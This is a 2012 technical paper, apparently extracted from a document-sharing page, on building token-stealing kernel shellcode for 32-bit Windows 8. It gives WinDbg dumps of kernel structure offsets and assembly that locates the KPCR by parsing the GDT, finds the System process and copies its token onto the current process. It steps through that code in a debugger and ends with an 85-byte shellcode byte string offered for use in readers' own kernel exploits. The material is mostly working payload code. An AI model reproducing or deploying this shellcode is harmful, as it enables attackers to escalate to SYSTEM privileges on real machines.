Sie sind auf Seite 1von 12

Design and Implementation of Token Stealing Kernel Shellcode for Windows 8 by cawan (cawan[at]ieee.org or chuiyewleong[at]hotmail.

com) on 15/11/2012 The kernel shellcode to perform token stealing is really simple in Windows XP. It is about to retrieve the KPCR base directly from 0xffdff000, getting current thread, then the current process. After that, walk through the link list of eprocess object to find out the process with pid as 4, which is the system process, then duplicate its token, and finally overwrite the token of current process. However, in Windows 8, the KPCR has been ASLRed. In other words, it is no longer at 0xffdff000. But, it is still possible to get the location of KPCR in Windows 8 by using offset comparison technique. Besides, GDT parsing is another interesting approach in doing the same job. The mechanism of both techniques are detailed in my previous paper in this blog, "How to Defeat Windows 8 ASLR in Getting the Address of KPCR". In this paper, we are going to develop a kernel shellcode to perform token stealing in Windows 8 by using GDT parsing technique. In order to ease the process of kernel shellcode development, we are going to use our proposed kernel shellcode design and testing platform. For those who interested to this platform can refer to my previous paper in this blog, "How To Build A Kernel Shellcode Design and Testing Platform For Windows 8 By Using Windbg". In addition, this paper is only about the kernel shellcode, without any specific exploit. So, it is up to you in adopting the kernel shellcode in your writeX kernel exploit. Besides, for your info, it is almost impossible to locate your kernel shellcode at virtual address 0 in Windows 8 environment. However, it is possible to be bypassed by locating the kernel shellcode in HvlpLogicalProcessorRegions with multiple of writeX operation. Again, the HvlpLogicalProcessorRegions is ASLRed, but it is simple to get rid with offset comparison technique from user mode. Please refer my previous 2 papers if you really want to know more about bypassing ASLR in Windows 8 and the internal of HvlpLogicalProcessorRegions. Now, let us start to development our kernel shellcode. kd> dt _kpcr nt!_KPCR +0x000 NtTib : _NT_TIB +0x000 Used_ExceptionList : Ptr32 _EXCEPTION_REGISTRATION_RECORD +0x004 Used_StackBase : Ptr32 Void +0x008 Spare2 : Ptr32 Void +0x00c TssCopy : Ptr32 Void +0x010 ContextSwitches : Uint4B +0x014 SetMemberCopy : Uint4B +0x018 Used_Self : Ptr32 Void +0x01c SelfPcr : Ptr32 _KPCR +0x020 Prcb : Ptr32 _KPRCB +0x024 Irql : UChar +0x028 IRR : Uint4B +0x02c IrrActive : Uint4B +0x030 IDR : Uint4B +0x034 KdVersionBlock : Ptr32 Void +0x038 IDT : Ptr32 _KIDTENTRY +0x03c GDT : Ptr32 _KGDTENTRY +0x040 TSS : Ptr32 _KTSS +0x044 MajorVersion : Uint2B +0x046 MinorVersion : Uint2B +0x048 SetMember : Uint4B +0x04c StallScaleFactor : Uint4B +0x050 SpareUnused : UChar +0x051 Number : UChar +0x052 Spare0 : UChar +0x053 SecondLevelCacheAssociativity : UChar +0x054 VdmAlert : Uint4B +0x058 KernelReserved : [14] Uint4B +0x090 SecondLevelCacheSize : Uint4B

+0x094 +0x0d4 +0x0d8 +0x0dc +0x120

HalReserved InterruptMode Spare1 KernelReserved2 PrcbData

: : : : :

[16] Uint4B Uint4B UChar [17] Uint4B _KPRCB

Well, the current thread is in _KPRCB. kd> dt _kprcb nt!_KPRCB +0x000 MinorVersion +0x002 MajorVersion +0x004 CurrentThread +0x008 NextThread +0x00c IdleThread +0x010 LegacyNumber +0x011 NestingLevel +0x012 BuildType +0x014 CpuType +0x015 CpuID +0x016 CpuStep +0x016 CpuStepping +0x017 CpuModel +0x018 ProcessorState ... ...

: : : : : : : : : : : : : :

Uint2B Uint2B Ptr32 _KTHREAD Ptr32 _KTHREAD Ptr32 _KTHREAD UChar UChar Uint2B Char Char Uint2B UChar UChar _KPROCESSOR_STATE

Good, the CurrentThread is at offset 0x124 from KPCR. Let's check _KTHREAD now. kd> dt _kthread nt!_KTHREAD +0x000 Header : _DISPATCHER_HEADER +0x010 SListFaultAddress : Ptr32 Void +0x018 QuantumTarget : Uint8B +0x020 InitialStack : Ptr32 Void +0x024 StackLimit : Ptr32 Void +0x028 StackBase : Ptr32 Void +0x02c ThreadLock : Uint4B +0x030 CycleTime : Uint8B +0x038 HighCycleTime : Uint4B +0x03c ServiceTable : Ptr32 Void +0x040 CurrentRunTime : Uint4B +0x044 ExpectedRunTime : Uint4B +0x048 KernelStack : Ptr32 Void +0x04c StateSaveArea : Ptr32 _XSAVE_FORMAT +0x050 SchedulingGroup : Ptr32 _KSCHEDULING_GROUP +0x054 WaitRegister : _KWAIT_STATUS_REGISTER +0x055 Running : UChar +0x056 Alerted : [2] UChar +0x058 KernelStackResident : Pos 0, 1 Bit +0x058 ReadyTransition : Pos 1, 1 Bit +0x058 ProcessReadyQueue : Pos 2, 1 Bit +0x058 WaitNext : Pos 3, 1 Bit +0x058 SystemAffinityActive : Pos 4, 1 Bit +0x058 Alertable : Pos 5, 1 Bit +0x058 CodePatchInProgress : Pos 6, 1 Bit +0x058 UserStackWalkActive : Pos 7, 1 Bit +0x058 ApcInterruptRequest : Pos 8, 1 Bit +0x058 QuantumEndMigrate : Pos 9, 1 Bit +0x058 UmsDirectedSwitchEnable : Pos 10, 1 Bit +0x058 TimerActive : Pos 11, 1 Bit +0x058 SystemThread : Pos 12, 1 Bit +0x058 ProcessDetachActive : Pos 13, 1 Bit

+0x058 +0x058 +0x058 +0x058 +0x058 +0x058 +0x058 +0x05c +0x05c +0x05c +0x05c +0x05c +0x05c +0x05c +0x05c +0x05c +0x05c +0x05c +0x05c +0x05c +0x05c +0x05c +0x05c +0x05c +0x060 +0x064 +0x068 +0x06c +0x070 +0x070 +0x087 +0x088 +0x08c ... ...

CalloutActive : Pos 14, 1 Bit ScbReadyQueue : Pos 15, 1 Bit ApcQueueable : Pos 16, 1 Bit ReservedStackInUse : Pos 17, 1 Bit UmsPerformingSyscall : Pos 18, 1 Bit Reserved : Pos 19, 13 Bits MiscFlags : Int4B AutoAlignment : Pos 0, 1 Bit DisableBoost : Pos 1, 1 Bit UserAffinitySet : Pos 2, 1 Bit AlertedByThreadId : Pos 3, 1 Bit QuantumDonation : Pos 4, 1 Bit EnableStackSwap : Pos 5, 1 Bit GuiThread : Pos 6, 1 Bit DisableQuantum : Pos 7, 1 Bit ChargeOnlyGroup : Pos 8, 1 Bit DeferPreemption : Pos 9, 1 Bit QueueDeferPreemption : Pos 10, 1 Bit ForceDeferSchedule : Pos 11, 1 Bit ExplicitIdealProcessor : Pos 12, 1 Bit FreezeCount : Pos 13, 1 Bit EtwStackTraceApcInserted : Pos 14, 8 Bits ReservedFlags : Pos 22, 10 Bits ThreadFlags : Int4B Spare0 : Uint4B SystemCallNumber : Uint4B FirstArgument : Ptr32 Void TrapFrame : Ptr32 _KTRAP_FRAME ApcState : _KAPC_STATE ApcStateFill : [23] UChar Priority : Char UserIdealProcessor : Uint4B ContextSwitches : Uint4B

Well, the ApcState is at offset 0x70 from CurrentThread. Let's check _KAPC_STATE kd> dt _kapc_state nt!_KAPC_STATE +0x000 ApcListHead : [2] _LIST_ENTRY +0x010 Process : Ptr32 _KPROCESS +0x014 KernelApcInProgress : UChar +0x015 KernelApcPending : UChar +0x016 UserApcPending : UChar Nice, then the current process is at offset 0x80 from CurrectThread. Let's check _KProcess. kd> dt _kprocess nt!_KPROCESS +0x000 Header : +0x010 ProfileListHead : +0x018 DirectoryTableBase +0x01c LdtDescriptor : +0x024 Int21Descriptor : +0x02c ThreadListHead : +0x034 ProcessLock : +0x038 Affinity : +0x044 ReadyListHead : +0x04c SwapListEntry : +0x050 ActiveProcessors : +0x05c AutoAlignment :

_DISPATCHER_HEADER _LIST_ENTRY : Uint4B _KGDTENTRY _KIDTENTRY _LIST_ENTRY Uint4B _KAFFINITY_EX _LIST_ENTRY _SINGLE_LIST_ENTRY _KAFFINITY_EX Pos 0, 1 Bit

+0x05c +0x05c +0x05c +0x05c +0x05c +0x05c +0x05c +0x05c +0x060 +0x061 +0x062 +0x063 +0x064 +0x068 +0x06a +0x06c +0x06e +0x070 +0x074 +0x078 +0x080 +0x088 +0x090 +0x094 +0x098 +0x09c

DisableBoost : Pos 1, 1 Bit DisableQuantum : Pos 2, 1 Bit AffinitySet : Pos 3, 1 Bit DeepFreeze : Pos 4, 1 Bit TimerVirtualization : Pos 5, 1 Bit ActiveGroupsMask : Pos 6, 1 Bit ReservedFlags : Pos 7, 25 Bits ProcessFlags : Int4B BasePriority : Char QuantumReset : Char Visited : UChar Flags : _KEXECUTE_OPTIONS ThreadSeed : [1] Uint4B IdealNode : [1] Uint2B IdealGlobalNode : Uint2B Spare1 : Uint2B IopmOffset : Uint2B SchedulingGroup : Ptr32 _KSCHEDULING_GROUP StackCount : _KSTACK_COUNT ProcessListEntry : _LIST_ENTRY CycleTime : Uint8B ContextSwitches : Uint8B FreezeCount : Uint4B KernelTime : Uint4B UserTime : Uint4B VdmTrapcHandler : Ptr32 Void

We should check _eprocess because _kprocess is the first structure of _eprocess. kd> dt _eprocess nt!_EPROCESS +0x000 Pcb : _KPROCESS +0x0a0 ProcessLock : _EX_PUSH_LOCK +0x0a8 CreateTime : _LARGE_INTEGER +0x0b0 RundownProtect : _EX_RUNDOWN_REF +0x0b4 UniqueProcessId : Ptr32 Void +0x0b8 ActiveProcessLinks : _LIST_ENTRY +0x0c0 Flags2 : Uint4B +0x0c0 JobNotReallyActive : Pos 0, 1 Bit +0x0c0 AccountingFolded : Pos 1, 1 Bit +0x0c0 NewProcessReported : Pos 2, 1 Bit +0x0c0 ExitProcessReported : Pos 3, 1 Bit +0x0c0 ReportCommitChanges : Pos 4, 1 Bit +0x0c0 LastReportMemory : Pos 5, 1 Bit +0x0c0 NoWakeCharge : Pos 6, 1 Bit +0x0c0 HandleTableRundown : Pos 7, 1 Bit +0x0c0 NeedsHandleRundown : Pos 8, 1 Bit +0x0c0 RefTraceEnabled : Pos 9, 1 Bit +0x0c0 NumaAware : Pos 10, 1 Bit +0x0c0 EmptyJobEvaluated : Pos 11, 1 Bit +0x0c0 DefaultPagePriority : Pos 12, 3 Bits +0x0c0 PrimaryTokenFrozen : Pos 15, 1 Bit +0x0c0 ProcessVerifierTarget : Pos 16, 1 Bit +0x0c0 StackRandomizationDisabled : Pos 17, 1 Bit +0x0c0 AffinityPermanent : Pos 18, 1 Bit +0x0c0 AffinityUpdateEnable : Pos 19, 1 Bit +0x0c0 PropagateNode : Pos 20, 1 Bit +0x0c0 ExplicitAffinity : Pos 21, 1 Bit +0x0c0 ProcessExecutionState : Pos 22, 2 Bits +0x0c0 DisallowStrippedImages : Pos 24, 1 Bit +0x0c0 HighEntropyASLREnabled : Pos 25, 1 Bit +0x0c0 ExtensionPointDisable : Pos 26, 1 Bit +0x0c0 ForceRelocateImages : Pos 27, 1 Bit

+0x0c0 +0x0c0 +0x0c0 +0x0c4 +0x0c4 +0x0c4 +0x0c4 +0x0c4 +0x0c4 +0x0c4 +0x0c4 +0x0c4 +0x0c4 +0x0c4 +0x0c4 +0x0c4 +0x0c4 +0x0c4 +0x0c4 +0x0c4 +0x0c4 +0x0c4 +0x0c4 +0x0c4 +0x0c4 +0x0c4 +0x0c4 +0x0c4 +0x0c4 +0x0c4 +0x0c4 +0x0c4 +0x0c4 +0x0c8 +0x0d0 +0x0d8 +0x0dc +0x0e0 +0x0e8 +0x0e8 +0x0e8 +0x0ec +0x0f0 +0x0f4 ... ...

ProcessStateChangeRequest : Pos 28, 2 Bits ProcessStateChangeInProgress : Pos 30, 1 Bit DisallowWin32kSystemCalls : Pos 31, 1 Bit Flags : Uint4B CreateReported : Pos 0, 1 Bit NoDebugInherit : Pos 1, 1 Bit ProcessExiting : Pos 2, 1 Bit ProcessDelete : Pos 3, 1 Bit Wow64SplitPages : Pos 4, 1 Bit VmDeleted : Pos 5, 1 Bit OutswapEnabled : Pos 6, 1 Bit Outswapped : Pos 7, 1 Bit ForkFailed : Pos 8, 1 Bit Wow64VaSpace4Gb : Pos 9, 1 Bit AddressSpaceInitialized : Pos 10, 2 Bits SetTimerResolution : Pos 12, 1 Bit BreakOnTermination : Pos 13, 1 Bit DeprioritizeViews : Pos 14, 1 Bit WriteWatch : Pos 15, 1 Bit ProcessInSession : Pos 16, 1 Bit OverrideAddressSpace : Pos 17, 1 Bit HasAddressSpace : Pos 18, 1 Bit LaunchPrefetched : Pos 19, 1 Bit Background : Pos 20, 1 Bit VmTopDown : Pos 21, 1 Bit ImageNotifyDone : Pos 22, 1 Bit PdeUpdateNeeded : Pos 23, 1 Bit VdmAllowed : Pos 24, 1 Bit CrossSessionCreate : Pos 25, 1 Bit ProcessInserted : Pos 26, 1 Bit DefaultIoPriority : Pos 27, 3 Bits ProcessSelfDelete : Pos 30, 1 Bit SetTimerResolutionLink : Pos 31, 1 Bit ProcessQuotaUsage : [2] Uint4B ProcessQuotaPeak : [2] Uint4B PeakVirtualSize : Uint4B VirtualSize : Uint4B SessionProcessLinks : _LIST_ENTRY ExceptionPortData : Ptr32 Void ExceptionPortValue : Uint4B ExceptionPortState : Pos 0, 3 Bits Token : _EX_FAST_REF WorkingSetPage : Uint4B AddressCreationLock : _EX_PUSH_LOCK

Fine, the ActiveProcessLinks is at offset 0xb8 from current process object. Besides, it is important to note that UniqueProcessId and Token is at offset 0xb4 and 0xec, respectively. Let's start to create our shellcode now. mov eax,0xffdff124 mov eax,[eax] mov eax,[eax+0x80] mov ebx,eax searchpid: mov ebx,[ebx+0xb8] sub ebx,0xb8 mov ecx,[ebx+0xb4] cmp ecx,4 jnz searchpid mov ecx,[ebx+0xec] mov [eax+0xec],ecx //Just a dummy marker for KPCR, will correct later.. //The offset 0x124 is CurrentThread //The offset 0x80 is current Process //Store current Process in eax //The offset 0xb8 is ActiveProcessLinks //The offset 0xb4 is UniqueProcessId //The pid of System process is 4 //The offset 0xec is Token //Overwrite the Token in current Process

nop nop ret Well, regarding how to parse GDT in getting KPCR, refer my previous paper. sgdt mov mov mov mov shl mov mov fword ptr ds:[0FFDF0000h] eax,dword ptr ds:[FFDF0002h] dh,byte ptr [eax+37h] dl,byte ptr [eax+34h] bx,dx ebx,10h bh,byte ptr [eax+33h] bl,byte ptr [eax+32h]

The KPCR base will be in ebx now. Let's put everything together. sgdt fword ptr ds:[0FFDF0000h] mov eax,dword ptr ds:[FFDF0002h] mov dh,byte ptr [eax+37h] mov dl,byte ptr [eax+34h] mov bx,dx shl ebx,10h mov bh,byte ptr [eax+33h] mov bl,byte ptr [eax+32h] mov eax,ebx add eax,0x124 mov eax,[eax] mov eax,[eax+0x80] mov ebx,eax searchpid: mov ebx,[ebx+0xb8] sub ebx,0xb8 mov ecx,[ebx+0xb4] cmp ecx,4 jnz searchpid mov ecx,[ebx+0xec] mov [eax+0xec],ecx nop nop ret Let's verify in our testing platform. kd> a nt!hvlplogicalprocessorregions 811fb480 nop nop 811fb481 nop nop 811fb482 pushad pushad 811fb483 nop nop 811fb484 nop nop 811fb485 sgdt [ffdf0000] sgdt [ffdf0000] 811fb48c mov eax,[ffdf0002] mov eax,[ffdf0002] 811fb491 mov dh,[eax+37] mov dh,[eax+37] 811fb494 mov dl,[eax+34] mov dl,[eax+34]

811fb497 mov bx,dx mov bx,dx 811fb49a shl ebx,10 shl ebx,10 811fb49d mov bh,[eax+33] mov bh,[eax+33] 811fb4a0 mov bl,[eax+32] mov bl,[eax+32] 811fb4a3 mov eax,ebx mov eax,ebx 811fb4a5 add eax,0x124 add eax,0x124 811fb4aa mov eax,[eax] mov eax,[eax] 811fb4ac mov eax,[eax+0x80] mov eax,[eax+0x80] 811fb4b2 mov ebx,eax mov ebx,eax 811fb4b4 mov ebx,[ebx+0xb8] mov ebx,[ebx+0xb8] 811fb4ba sub ebx,0xb8 sub ebx,0xb8 811fb4c0 mov ecx,[ebx+0xb4] mov ecx,[ebx+0xb4] 811fb4c6 cmp ecx,4 cmp ecx,4 811fb4c9 jnz 811fb4b4 jnz 811fb4b4 811fb4cb mov ecx,[ebx+0xec] mov ecx,[ebx+0xec] 811fb4d1 mov [eax+0xec],ecx mov [eax+0xec],ecx 811fb4d7 nop nop 811fb4d8 nop nop 811fb4d9 ret ret 811fb4da nop nop 811fb4db nop nop 811fb4dc popad popad 811fb4dd nop nop 811fb4de nop nop 811fb4df kd> uf nt!hvlplogicalprocessorregions nt!HvlpLogicalProcessorRegions: 811fb480 90 nop 811fb481 90 nop 811fb482 60 pushad 811fb483 90 nop 811fb484 90 nop 811fb485 0f01050000dfff sgdt fword ptr ds:[0FFDF0000h] 811fb48c a10200dfff mov eax,dword ptr ds:[FFDF0002h] 811fb491 8a7037 mov dh,byte ptr [eax+37h] 811fb494 8a5034 mov dl,byte ptr [eax+34h] 811fb497 668bda mov bx,dx 811fb49a c1e310 shl ebx,10h

811fb49d 811fb4a0 811fb4a3 811fb4a5 811fb4aa 811fb4ac 811fb4b2

8a7833 8a5832 8bc3 0524010000 8b00 8b8080000000 8bd8

mov mov mov add mov mov mov

bh,byte ptr [eax+33h] bl,byte ptr [eax+32h] eax,ebx eax,124h eax,dword ptr [eax] eax,dword ptr [eax+80h] ebx,eax

nt!HvlpLogicalProcessorRegions+0x34: 811fb4b4 8b9bb8000000 mov ebx,dword ptr [ebx+0B8h] 811fb4ba 81ebb8000000 sub ebx,0B8h 811fb4c0 8b8bb4000000 mov ecx,dword ptr [ebx+0B4h] 811fb4c6 83f904 cmp ecx,4 811fb4c9 75e9 jne nt!HvlpLogicalProcessorRegions+0x34 (811fb4b4) nt!HvlpLogicalProcessorRegions+0x4b: 811fb4cb 8b8bec000000 mov ecx,dword ptr [ebx+0ECh] 811fb4d1 8988ec000000 mov dword ptr [eax+0ECh],ecx Let us verify the kernel shellcode by stepping over the HvlpLogicalProcessorRegions. kd> r eip = nt!hvlplogicalprocessorregions kd> ln eip (811fb480) nt!HvlpLogicalProcessorRegions | (81206480) nt!HvlpNodes Exact matches: nt!HvlpLogicalProcessorRegions = <no type information> kd> p nt!HvlpLogicalProcessorRegions+0x1: 811fb481 90 nop kd> p nt!HvlpLogicalProcessorRegions+0x2: 811fb482 60 pushad kd> p nt!HvlpLogicalProcessorRegions+0x3: 811fb483 90 nop kd> p nt!HvlpLogicalProcessorRegions+0x4: 811fb484 90 nop kd> p nt!HvlpLogicalProcessorRegions+0x5: 811fb485 0f01050000dfff sgdt fword ptr ds:[0FFDF0000h] kd> p nt!HvlpLogicalProcessorRegions+0xc: 811fb48c a10200dfff mov eax,dword ptr ds:[FFDF0002h] kd> p nt!HvlpLogicalProcessorRegions+0x11: 811fb491 8a7037 mov dh,byte ptr [eax+37h] kd> p nt!HvlpLogicalProcessorRegions+0x14: 811fb494 8a5034 mov dl,byte ptr [eax+34h] kd> p nt!HvlpLogicalProcessorRegions+0x17: 811fb497 668bda mov bx,dx kd> p nt!HvlpLogicalProcessorRegions+0x1a: 811fb49a c1e310 shl ebx,10h kd> p nt!HvlpLogicalProcessorRegions+0x1d: 811fb49d 8a7833 mov bh,byte ptr [eax+33h] kd> p nt!HvlpLogicalProcessorRegions+0x20: 811fb4a0 8a5832 mov bl,byte ptr [eax+32h] kd> p

nt!HvlpLogicalProcessorRegions+0x23: 811fb4a3 8bc3 mov eax,ebx kd> p nt!HvlpLogicalProcessorRegions+0x25: 811fb4a5 0524010000 add eax,124h kd> r eax eax=81209000 kd> dg 30 P Si Gr Pr Lo Sel Base Limit Type l ze an es ng Flags ---- -------- -------- ---------- - -- -- -- -- -------0030 81209000 00004280 Data RW Ac 0 Bg By P Nl 00000493 kd> p nt!HvlpLogicalProcessorRegions+0x2a: 811fb4aa 8b00 mov eax,dword ptr [eax] kd> r eax eax=81209124 Nice, eax is pointing to the CurrentThread right now. Let us continue to step over our shellcode. kd> p nt!HvlpLogicalProcessorRegions+0x2c: 811fb4ac 8b8080000000 mov eax,dword ptr [eax+80h] kd> r eax eax=812180c0 kd> p nt!HvlpLogicalProcessorRegions+0x32: 811fb4b2 8bd8 mov ebx,eax kd> r eax eax=83964cc0 Let's check what is our current process now... kd> !process 83964cc0 0 PROCESS 83964cc0 SessionId: none Cid: 0004 DirBase: 00185000 ObjectTable: 82403000 Image: System

Peb: 00000000 ParentCid: 0000 HandleCount: <Data Not Accessible>

Yes, we are already in System because we force kernel break from Windbg. Let's step over the shellcode again. kd> p nt!HvlpLogicalProcessorRegions+0x34: 811fb4b4 8b9bb8000000 mov ebx,dword ptr [ebx+0B8h] kd> p nt!HvlpLogicalProcessorRegions+0x3a: 811fb4ba 81ebb8000000 sub ebx,0B8h kd> p nt!HvlpLogicalProcessorRegions+0x40: 811fb4c0 8b8bb4000000 mov ecx,dword ptr [ebx+0B4h] kd> r ebx ebx=84a85cc0 kd> !process 84a85cc0 0 PROCESS 84a85cc0 SessionId: none Cid: 00f4 Peb: 7f05a000 ParentCid: 0004 DirBase: 3e48e020 ObjectTable: 89c43a00 HandleCount: <Data Not Accessible> Image: smss.exe The next process is smss.exe. Well we are starting to walk through the eprocess link list. Since our current process is System, we need to turn a full round to get back to System again. Let's see. kd> u

nt!HvlpLogicalProcessorRegions+0x40: 811fb4c0 8b8bb4000000 mov ecx,dword ptr [ebx+0B4h] 811fb4c6 83f904 cmp ecx,4 811fb4c9 75e9 jne nt!HvlpLogicalProcessorRegions+0x34 (811fb4b4) 811fb4cb 8b8bec000000 mov ecx,dword ptr [ebx+0ECh] 811fb4d1 8988ec000000 mov dword ptr [eax+0ECh],ecx 811fb4d7 90 nop 811fb4d8 90 nop 811fb4d9 c3 ret kd> bp 811fb4cb kd> bl 0 e 811fb4cb 0001 (0001) nt!HvlpLogicalProcessorRegions+0x4b kd> g Breakpoint 0 hit nt!HvlpLogicalProcessorRegions+0x4b: 811fb4cb 8b8bec000000 mov ecx,dword ptr [ebx+0ECh] kd> r ebx ebx=83964cc0 kd> !process 83964cc0 0 PROCESS 83964cc0 SessionId: none Cid: 0004 Peb: 00000000 ParentCid: 0000 DirBase: 00185000 ObjectTable: 82403000 HandleCount: <Data Not Accessible> Image: System Yes, we are backed to the System process again. Let's try to change its own token. kd> p nt!HvlpLogicalProcessorRegions+0x51: 811fb4d1 8988ec000000 mov dword ptr [eax+0ECh],ecx kd> r ecx ecx=82401563 kd> dd eax+ec l1 83964dac 82401563 kd> p nt!HvlpLogicalProcessorRegions+0x57: 811fb4d7 90 nop kd> dd eax+ec l1 83964dac 82401563 Nothing special here, just doing something dummy... Let's revert everything to original now. In our case here, the ret instruction should be bypass. kd> u nt!HvlpLogicalProcessorRegions+0x57: 811fb4d7 90 nop 811fb4d8 90 nop 811fb4d9 c3 ret 811fb4da 90 nop 811fb4db 90 nop 811fb4dc 61 popad 811fb4dd 90 nop 811fb4de 90 nop kd> r eip eip=811fb4d7 kd> r eip = 811fb4da kd> u eip nt!HvlpLogicalProcessorRegions+0x5a: 811fb4da 90 nop 811fb4db 90 nop 811fb4dc 61 popad 811fb4dd 90 nop 811fb4de 90 nop 811fb4df 0000 add byte ptr [eax],al

811fb4e1 0000 811fb4e3 0000

add add

byte ptr [eax],al byte ptr [eax],al

Well, we are on the right track now. Let's revert everything to initial state. kd> p nt!HvlpLogicalProcessorRegions+0x5b: 811fb4db 90 nop kd> p nt!HvlpLogicalProcessorRegions+0x5c: 811fb4dc 61 popad kd> p nt!HvlpLogicalProcessorRegions+0x5d: 811fb4dd 90 nop kd> r eip = 811003a4 kd> r eip eip=811003a4 The system should run as usual right now. Let's verify. kd> g Break instruction exception - code 80000003 (first chance) ******************************************************************************* * * * You are seeing this message because you pressed either * * CTRL+C (if you run kd.exe) or, * * CTRL+BREAK (if you run WinDBG), * * on your debugger machine's keyboard. * * * * THIS IS NOT A BUG OR A SYSTEM CRASH * * * * If you did not intend to break into the debugger, press the "g" key, then * * press the "Enter" key now. This message might immediately reappear. If it * * does, press "g" and "Enter" again. * * * ******************************************************************************* nt!RtlpBreakWithStatusInstruction: 811003a4 cc int 3 kd> g Excellent, the Windows 8 system is running well again. Let's extract our shellcode now. kd> db nt!hvlplogicalprocessorregions 811fb480 90 90 60 90 90 0f 01 05-00 00 811fb490 ff 8a 70 37 8a 50 34 66-8b da 811fb4a0 8a 58 32 8b c3 05 24 01-00 00 811fb4b0 00 00 8b d8 8b 9b b8 00-00 00 811fb4c0 8b 8b b4 00 00 00 83 f9-04 75 811fb4d0 00 89 88 ec 00 00 00 90-90 c3 811fb4e0 00 00 00 00 00 00 00 00-00 00 811fb4f0 00 00 00 00 00 00 00 00-00 00

df c1 8b 81 e9 90 00 00

ff e3 00 eb 8b 90 00 00

a1 10 8b b8 8b 61 00 00

02 8a 80 00 ec 90 00 00

00 78 80 00 00 90 00 00

df 33 00 00 00 00 00 00

..`............. ..p7.P4f......x3 .X2...$......... ................ .........u...... ............a... ................ ................

kd> uf nt!hvlplogicalprocessorregions nt!HvlpLogicalProcessorRegions: 811fb480 90 nop 811fb481 90 nop 811fb482 60 pushad 811fb483 90 nop 811fb484 90 nop 811fb485 0f01050000dfff sgdt fword ptr ds:[0FFDF0000h] 811fb48c a10200dfff mov eax,dword ptr ds:[FFDF0002h] 811fb491 8a7037 mov dh,byte ptr [eax+37h]

811fb494 811fb497 811fb49a 811fb49d 811fb4a0 811fb4a3 811fb4a5 811fb4aa 811fb4ac 811fb4b2

8a5034 668bda c1e310 8a7833 8a5832 8bc3 0524010000 8b00 8b8080000000 8bd8

mov mov shl mov mov mov add mov mov mov

dl,byte ptr [eax+34h] bx,dx ebx,10h bh,byte ptr [eax+33h] bl,byte ptr [eax+32h] eax,ebx eax,124h eax,dword ptr [eax] eax,dword ptr [eax+80h] ebx,eax

nt!HvlpLogicalProcessorRegions+0x34: 811fb4b4 8b9bb8000000 mov ebx,dword ptr [ebx+0B8h] 811fb4ba 81ebb8000000 sub ebx,0B8h 811fb4c0 8b8bb4000000 mov ecx,dword ptr [ebx+0B4h] 811fb4c6 83f904 cmp ecx,4 811fb4c9 75e9 jne nt!HvlpLogicalProcessorRegions+0x34 (811fb4b4) nt!HvlpLogicalProcessorRegions+0x4b: 811fb4cb 8b8bec000000 mov ecx,dword ptr [ebx+0ECh] 811fb4d1 8988ec000000 mov dword ptr [eax+0ECh],ecx 811fb4d7 90 nop 811fb4d8 90 nop 811fb4d9 c3 ret So, the proper kernel shellcode to perform token stealing in Windows 8 is 85 bytes. Token_Stealing_Shellcode_For_Windows_8=( "\x0f\x01\x05\x00\x00\xdf\xff\xa1\x02\x00\xdf\xff\x8a\x70\x37\x8a" "\x50\x34\x66\x8b\xda\xc1\xe3\x10\x8a\x78\x33\x8a\x58\x32\x8b\xc3" "\x05\x24\x01\x00\x00\x8b\x00\x8b\x80\x80\x00\x00\x00\x8b\xd8\x8b" "\x9b\xb8\x00\x00\x00\x81\xeb\xb8\x00\x00\x00\x8b\x8b\xb4\x00\x00" "\x00\x83\xf9\x04\x75\xe9\x8b\x8b\xec\x00\x00\x00\x89\x88\xec\x00" "\x00\x00\x90\x90\xc3" )

Das könnte Ihnen auch gefallen